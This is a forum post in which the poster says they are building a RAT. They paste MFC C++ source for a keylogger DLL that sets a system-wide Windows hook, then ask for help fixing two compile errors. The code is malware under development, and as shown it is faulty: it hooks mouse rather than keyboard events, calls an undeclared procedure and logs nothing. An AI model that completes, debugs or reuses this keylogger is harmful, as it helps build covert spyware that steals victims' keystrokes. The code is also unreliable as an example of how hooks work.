I am writing a RAT in which i have also included a keylogger as a DLL file.
here is my code in the keylogger.dll :
//function.h -- the file which will be referenced by my RAT project file./////////////////////////
extern "C" __declspec(dllexport) void setHook();
//keylogger.h//////////////////////////////////////////////////////////////////////////////////////////
#if !defined(AFX_KEYLOGGER_H__5979CE3A_20A6_4172_BBF1_9F7C091CC182__INCLUDED_)
#define AFX_KEYLOGGER_H__5979CE3A_20A6_4172_BBF1_9F7C091CC182__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#ifndef __AFXWIN_H__
#error include 'stdafx.h' before including this file for PCH
#endif
#include "resource.h" // main symbols
class CKeyLoggerApp : public CWinApp
{
public:
CKeyLoggerApp();
BOOL InitInstance();
DECLARE_MESSAGE_MAP()
};
// keylogger.cpp/////////////////////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "KeyLogger.h"
#include "function.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
BEGIN_MESSAGE_MAP(CKeyLoggerApp, CWinApp)
END_MESSAGE_MAP()
CKeyLoggerApp::CKeyLoggerApp()
{
}
CKeyLoggerApp theApp;
HHOOK hookData_;
BOOL CKeyLoggerApp::InitInstance()
{
hins = AfxGetInstanceHandle();
return TRUE;
}
extern "C" __declspec(dllexport) void setHook()
{
hookData_ = ::SetWindowsHookEx (WH_MOUSE, (HOOKPROC)KeyboardProc, AfxGetApp()->m_hInstance, 0);
}
LRESULT WINAPI CALLBACK KeyboardProc (int code, WPARAM w, LPARAM l)
{
if (code < 0)
return CallNextHookEx (hookData_, code, w, l);
unsigned char state[256];
if (w == VK_CAPITAL)
{
GetKeyboardState (state);
if (state[VK_CAPITAL] == 1)
state[VK_CAPITAL] = 0;
SetKeyboardState (state);
}
return CallNextHookEx (hookData_, code, w, 1);
}my problem is the dll is not getting compiled. The errors are :
E:\RAT\KeyLogger\KeyLogger.cpp(74) : error C2065: 'KeyboardProc' : undeclared identifier
E:\RAT\KeyLogger\KeyLogger.cpp(79) : error C2373: 'KeyboardProc' : redefinition; different type modifiers
can anyone help me out??